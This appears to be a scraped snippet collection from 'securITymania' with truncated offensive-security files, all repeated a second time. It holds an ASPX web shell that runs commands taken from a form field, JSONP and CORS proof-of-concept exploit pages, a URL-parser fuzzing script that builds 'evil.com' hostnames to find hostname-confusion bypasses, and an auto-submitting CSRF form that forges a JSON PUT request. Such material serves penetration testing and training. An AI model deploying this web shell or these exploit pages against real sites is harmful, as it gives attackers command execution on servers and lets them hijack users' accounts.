securITymania

## user.js
// Get all users
var url  = "http://localhost:8080/api/v1/users";
var xhr  = new XMLHttpRequest()
xhr.open('GET', url, true)
xhr.onload = function () {
	var users = JSON.parse(xhr.responseText);
	if (xhr.readyState == 4 && xhr.status == "200") {
		console.table(users);
	} else {
		console.error(users);

## cmd_basic.aspx
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
  Dim myProcess As New Process()
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
  myProcessStartInfo.UseShellExecute = false
  myProcessStartInfo.RedirectStandardOutput = true

## jsop-poc.html
<!DOCTYPE html>
<html>
<head>
<title>JSONP PoC</title>
</head>
<body>
<center>

<h1>JSONP Exploit<br>secureITmania</h1>
<hr>

## cors_poc.html
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC Exploit</title>
</head>
<body>
<center>

<h1>CORS Exploit<br>secureITmania</h1>
<hr>

## urlparseanalysis.js
var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';

for (var i = 0; i < s.length; i++) {
  char = s.charAt(i);
  string = 'https://evil.com.'+char+'.example.com';
  try {
    const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
  } catch {
    console.log("[!] " + string + " -> ERROR");
  }

## csrfjson_poc.html
<body onload='document.forms[0].submit()'>
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
  <input type="text" name='{"username":"blob","dummy":"' value='"}'>
  <input type="submit" value="send">
</form>

<!---This results in a request body of:
{"username":"blob", "dummy": "="} -->
	// Get all users
	var url = "http://localhost:8080/api/v1/users";
	var xhr = new XMLHttpRequest()
	xhr.open('GET', url, true)
	xhr.onload = function () {
	var users = JSON.parse(xhr.responseText);
	if (xhr.readyState == 4 && xhr.status == "200") {
	console.table(users);
	} else {
	console.error(users);
	<%@ Page Language="VB" Debug="true" %>
	<%@ import Namespace="system.IO" %>
	<%@ import Namespace="System.Diagnostics" %>

	<script runat="server">
	Sub RunCmd(Src As Object, E As EventArgs)
	Dim myProcess As New Process()
	Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
	myProcessStartInfo.UseShellExecute = false
	myProcessStartInfo.RedirectStandardOutput = true
	<!DOCTYPE html>
	<html>
	<head>
	<title>JSONP PoC</title>
	</head>
	<body>
	<center>

	<h1>JSONP Exploit<br>secureITmania</h1>
	<hr>
	var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{\|}~';

	for (var i = 0; i < s.length; i++) {
	char = s.charAt(i);
	string = 'https://evil.com.'+char+'.example.com';
	try {
	const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
	} catch {
	console.log("[!] " + string + " -> ERROR");
	}
	<body onload='document.forms[0].submit()'>
	<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
	<input type="text" name='{"username":"blob","dummy":"' value='"}'>
	<input type="submit" value="send">
	</form>

	<!---This results in a request body of:
	{"username":"blob", "dummy": "="} -->